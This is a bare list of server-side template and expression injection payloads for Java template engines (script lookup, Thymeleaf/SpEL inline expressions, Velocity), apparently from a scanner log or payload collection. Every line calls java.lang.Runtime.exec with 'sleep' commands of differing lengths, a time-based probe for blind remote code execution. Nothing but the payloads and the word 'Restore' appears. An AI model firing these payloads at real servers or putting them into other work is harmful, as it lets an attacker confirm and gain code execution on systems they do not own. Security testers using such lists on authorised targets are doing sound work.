Restore

${script:javascript:java.lang.Runtime.getRuntime().exec("sleep 10").waitFor()}

[[${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("sleep 22").waitFor()}]]

[[${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("sleep 0").waitFor()}]]

[[${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("sleep 10").waitFor()}]]

#set($engine="") #set($proc=$engine.getClass().forName("java.lang.Runtime").getRuntime().exec("sleep 0")) #set($null=$proc.waitFor()) ${null}